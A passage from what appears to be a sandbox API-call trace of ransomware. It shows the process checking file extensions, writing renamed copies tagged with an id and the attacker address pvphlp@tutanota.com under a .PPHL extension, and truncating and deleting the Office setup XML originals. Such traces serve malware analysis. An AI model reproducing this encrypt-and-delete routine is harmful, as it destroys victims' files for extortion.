lpString2="XML") returned -1 [0071.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.611] lstrlenW (lpString=".dbf") returned 4 [0071.611] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.611] lstrlenW (lpString=".1cd") returned 4 [0071.611] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.611] lstrlenW (lpString=".jpg") returned 4 [0071.611] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.611] lstrlenW (lpString=".doc") returned 4 [0071.611] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.611] lstrlenW (lpString=".docx") returned 5 [0071.611] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0071.611] lstrlenW (lpString=".pdf") returned 4 [0071.611] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.611] lstrlenW (lpString=".xls") returned 4 [0071.611] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.611] lstrlenW (lpString=".xlsx") returned 5 [0071.611] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0071.611] lstrlenW (lpString=".ppt") returned 4 [0071.611] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.611] lstrlenW (lpString=".zip") returned 4 [0071.611] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.611] lstrlenW (lpString=".rar") returned 4 [0071.612] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.612] lstrlenW (lpString=".bz2") returned 4 [0071.612] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.612] lstrlenW (lpString=".7z") returned 3 [0071.612] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.612] lstrlenW (lpString=".dbf") returned 4 [0071.612] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.612] lstrlenW (lpString=".1cd") returned 4 [0071.612] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0071.612] lstrlenW (lpString=".jpg") returned 4 [0071.612] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.612] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.612] lstrlenW (lpString="SETUP.XML") returned 9 [0071.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.614] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=16683) returned 1 [0071.614] CloseHandle (hObject=0x1e8) returned 1 [0071.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0071.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.614] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.614] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0071.624] GetLastError () returned 0x0 [0071.624] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x412b, lpOverlapped=0x0) returned 1 [0071.985] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x4130, lpOverlapped=0x0) returned 1 [0071.986] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0071.986] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0071.986] SetEndOfFile (hFile=0x1b0) returned 1 [0071.986] CloseHandle (hObject=0x1b0) returned 1 [0071.987] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.987] SetEndOfFile (hFile=0x1e8) returned 1 [0071.988] CloseHandle (hObject=0x1e8) returned 1 [0071.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.988] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0071.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.989] lstrlenW (lpString=".doc") returned 4 [0071.989] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.989] lstrlenW (lpString=".docx") returned 5 [0071.989] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0071.989] lstrlenW (lpString=".pdf") returned 4 [0071.989] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.989] lstrlenW (lpString=".xls") returned 4 [0071.989] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.989] lstrlenW (lpString=".xlsx") returned 5 [0071.989] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0071.989] lstrlenW (lpString=".ppt") returned 4 [0071.989] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.989] lstrlenW (lpString=".zip") returned 4 [0071.989] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.989] lstrlenW (lpString=".rar") returned 4 [0071.989] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.989] lstrlenW (lpString=".bz2") returned 4 [0071.989] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.989] lstrlenW (lpString=".7z") returned 3 [0071.989] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.990] lstrlenW (lpString=".dbf") returned 4 [0071.990] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.990] lstrlenW (lpString=".1cd") returned 4 [0071.990] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.990] lstrlenW (lpString=".jpg") returned 4 [0071.990] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.990] lstrlenW (lpString=".doc") returned 4 [0071.990] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.990] lstrlenW (lpString=".docx") returned 5 [0071.990] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0071.990] lstrlenW (lpString=".pdf") returned 4 [0071.990] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.990] lstrlenW (lpString=".xls") returned 4 [0071.990] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.990] lstrlenW (lpString=".xlsx") returned 5 [0071.990] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0071.990] lstrlenW (lpString=".ppt") returned 4 [0071.990] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.990] lstrlenW (lpString=".zip") returned 4 [0071.990] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.990] lstrlenW (lpString=".rar") returned 4 [0071.990] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.991] lstrlenW (lpString=".bz2") returned 4 [0071.991] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.991] lstrlenW (lpString=".7z") returned 3 [0071.991] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.991] lstrlenW (lpString=".dbf") returned 4 [0071.991] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.991] lstrlenW (lpString=".1cd") returned 4 [0071.991] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0071.991] lstrlenW (lpString=".jpg") returned 4 [0071.991] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.991] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.991] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0071.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.992] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1452) returned 1 [0071.992] CloseHandle (hObject=0x1e8) returned 1 [0071.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0071.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.992] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.992] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0073.100] GetLastError () returned 0x0 [0073.100] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x5ac, lpOverlapped=0x0) returned 1 [0073.189] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0073.192] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0073.193] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0073.193] SetEndOfFile (hFile=0x18c) returned 1 [0073.193] CloseHandle (hObject=0x18c) returned 1 [0073.193] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.193] SetEndOfFile (hFile=0x1e8) returned 1 [0073.194] CloseHandle (hObject=0x1e8) returned 1 [0073.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.194] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0073.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.194] lstrlenW (lpString=".doc") returned 4 [0073.194] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.194] lstrlenW (lpString=".docx") returned 5 [0073.194] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0073.194] lstrlenW (lpString=".pdf") returned 4 [0073.194] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.195] lstrlenW (lpString=".xls") returned 4 [0073.195] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.195] lstrlenW (lpString=".xlsx") returned 5 [0073.195] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0073.195] lstrlenW (lpString=".ppt") returned 4 [0073.195] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.195] lstrlenW (lpString=".zip") returned 4 [0073.195] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.195] lstrlenW (lpString=".rar") returned 4 [0073.195] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.195] lstrlenW (lpString=".bz2") returned 4 [0073.195] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.195] lstrlenW (lpString=".7z") returned 3 [0073.195] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.195] lstrlenW (lpString=".dbf") returned 4 [0073.195] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.195] lstrlenW (lpString=".1cd") returned 4 [0073.195] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.195] lstrlenW (lpString=".jpg") returned 4 [0073.195] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.195] lstrlenW (lpString=".doc") returned 4 [0073.195] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.195] lstrlenW (lpString=".docx") returned 5 [0073.195] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0073.195] lstrlenW (lpString=".pdf") returned 4 [0073.195] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.195] lstrlenW (lpString=".xls") returned 4 [0073.195] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.196] lstrlenW (lpString=".xlsx") returned 5 [0073.196] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0073.196] lstrlenW (lpString=".ppt") returned 4 [0073.196] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.196] lstrlenW (lpString=".zip") returned 4 [0073.196] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.196] lstrlenW (lpString=".rar") returned 4 [0073.196] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.196] lstrlenW (lpString=".bz2") returned 4 [0073.196] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.196] lstrlenW (lpString=".7z") returned 3 [0073.196] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.196] lstrlenW (lpString=".dbf") returned 4 [0073.196] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.196] lstrlenW (lpString=".1cd") returned 4 [0073.196] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0073.196] lstrlenW (lpString=".jpg") returned 4 [0073.196] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.196] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.196] lstrlenW (lpString="Proofing.XML") returned 12 [0073.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0073.202] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=811) returned 1 [0073.202] CloseHandle (hObject=0x1e8) returned 1 [0073.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0073.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0073.202] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.202] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0073.203] GetLastError () returned 0x0 [0073.203] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x32b, lpOverlapped=0x0) returned 1 [0073.256] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x330, lpOverlapped=0x0) returned 1 [0073.257] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0073.257] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0073.257] SetEndOfFile (hFile=0x18c) returned 1 [0073.692] CloseHandle (hObject=0x18c) returned 1 [0073.692] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.692] SetEndOfFile (hFile=0x1e8) returned 1 [0073.693] CloseHandle (hObject=0x1e8) returned 1 [0073.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.693] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0073.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0073.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 